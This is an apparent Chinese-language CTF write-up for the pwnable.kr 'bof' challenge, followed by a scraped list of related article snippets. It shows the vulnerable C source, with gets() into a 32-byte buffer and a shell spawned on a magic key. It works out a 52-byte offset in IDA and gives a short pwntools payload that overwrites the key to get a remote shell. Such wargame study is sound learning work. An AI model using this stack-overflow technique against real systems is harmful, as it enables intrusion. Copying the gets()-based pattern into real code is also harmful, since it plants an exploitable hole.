简单易懂的 pwnable.kr 第三题[bof]Writeupt

题目地址:http://pwnable.kr/play.php

点开题目发现:

他给了提示覆盖,并且给了两个网址。分别打开,第一个给了你一个下载文件bof。第二个是文件的源文件。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}

给了超级明显的暗示,smash me!。下面我们要做的就是如何去覆盖key的值。这就需要知道参数key和变量overflowme的地址,(当然你也可以一个一个试,不过这不太科学)。
一分钟安装IDA
打开IDA看一下bof文件(不知道是32位还是64位,可以都试一下),


按F5反编译得到伪代码。

双击func函数进入函数

对照源文件我们可以看到,s就是overfolwme, a1就是key。
将鼠标移到a1 看到 ebp+8h
将鼠标移到s 看到 ebp-2ch
由于栈是从高地址向低地址生长的,但是数据写入的时候是从低地址向高地址写入的。8h+2ch = 8 + 44 = 52。所有只需要一个长度为52的字符串我们就可以开始覆盖key的值。

下面开始编写payload

from pwn import * #pwntools
p = remote("pwnable.kr",9000)  #连接端口
p.sendline("aaaa"*13+p32(0xcafebabe)) #发送并且覆盖key
p.interactive() #交互获取权限

简单易懂的 pwnable.kr 第三题[bof]Writeupt相关推荐

  1. 简单易懂的 pwnable.kr 第六题[random]Writeupt

    简单易懂的 pwnable.kr 第六题[random]Writeupt 题目地址: http://pwnable.kr/play.php 题目: peak小知识 异或^ 据有如下几种性质: 2. 恒 ...

  2. 简单易懂的 pwnable.kr 第二题[collision]Writeupt

    简单易懂的 pwnable.kr 第二题[collision]Writeupt 题目地址:http://pwnable.kr/play.php 题目如下: 和第一题一样,题目给了我们一个ssh远程登录 ...

  3. 简单易懂的 pwnable.kr 第一题[fd]Writeupt

    简单易懂的 pwnable.kr 第一题[fd]Writeupt 题目地址http://pwnable.kr/play.php 题目 题目中给出了ssh远程登录的地址以及登录密码我们先连接,输入密码: ...

  4. pwnable.kr第五题:passcode

    0x000打开环境 ①查看源码: 1 #include 2 #include 3 4 void login(){ 5 int passcode1; 6 int passcode2; 7 8 print ...

  5. 每日一题pwnable.kr bof

    需要我们计算我们输入的位置到a1位置需要填充多少字节.然后再给a1赋值即可getshell 疑问1. 怎么确定输入的位置到a1的距离? 我刚开始想这么干,直接用这个地址相减. 但是不行,这题是覆盖变量 ...

  6. pwnable.kr之Toddler‘s Bottle前八题知识点记录

    pwn刷题网站地址(点击直达): http://pwnable.kr/play.php 文章目录 第一题 fd 第二题:collision 1.首先是char和int数据类型的转换 2.python实 ...

  7. pwnable.kr bof

    pwnable.kr bof 同样的,既然有源代码.我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之后两者之间的联系. bof.c #include <stdio.h> #i ...

  8. pwnable.kr之Toddler‘s Bottle 9~16题知识点记录

    文章目录 第九题 mistake 总结 答案: 第十题 shellshock env指令 bash指令 解题 第十一题 coin1 findall(pattern, string, flags=0) ...

  9. 【pwnable.kr】 alloca

    https://www.anquanke.com/post/id/170288 前言 最近在刷pwnable.kr [Rookiss],题目都好有意思,一其中题alloca虽然分值不高,但分析过程很值 ...

最新文章

  1. jsp 使用base标签 没有作用_终于弄明白衣服上,使用前请移除的标签到底是什么,起什么作用...
  2. eclipse 的快捷键
  3. 省市县联动javascript版..
  4. node.js 使用----相关常用命令总结
  5. SqlServer Split功能函数
  6. mfc读取bmp文件_LIUNX 工程bmp.c 显示图片 开发板出来的图片只有一个角 求大佬解决...
  7. Javascript:一个屌丝的逆袭之路
  8. 打造IE6的position:fixed整理篇
  9. 拓扑排序Topological Sorting
  10. Nginx源码分析 - 实战篇 - 编写一个阶段化的模块(25)
  11. Codeforces 659F Polycarp and Hay【BFS】
  12. com+ system application 启动_[jvmsandboxrepeater 学习笔记][入门使用篇] 1 安装与启动
  13. http://www.guokr.com/blog/475765/
  14. mybatis和mybatis-plus存读数据库中的对象(对象转json与json转对象)
  15. cmd 复制文件命令copy 复制目录树命令xcopy
  16. xmlspy2014下载安装(可用)
  17. linux下ruby安装步骤,Ruby 安装 - Linux
  18. Unity Hex与Color之间进行颜色转换
  19. 万字攻略,详解腾讯面试
  20. NosqlBooster For MongoDB解决License问题

热门文章

  1. 热部署在java中的包名_09-springboot工程中的热部署实现。
  2. [Python图像处理] 三.获取图像属性、兴趣ROI区域及通道处理
  3. [LeetCode] Count Primes - 素数系列问题
  4. 树莓派AI视觉云台——8、WiringPi库函数
  5. ZYAR20A 亚克力2驱 蓝牙 298寻迹避障机器人 —— 小车指定花式动作
  6. 大数据互联网架构阶段 QuartZ定时任务+RabbitMQ消息队列
  7. 【Linux】一步一步学Linux——route命令(169)
  8. [Qt教程] 第34篇 网络(四)FTP(二)
  9. python openstack oslo_config使用_OpenStack配置解析库oslo.config的使用方法
  10. java中 a_java中 a++ 和 ++a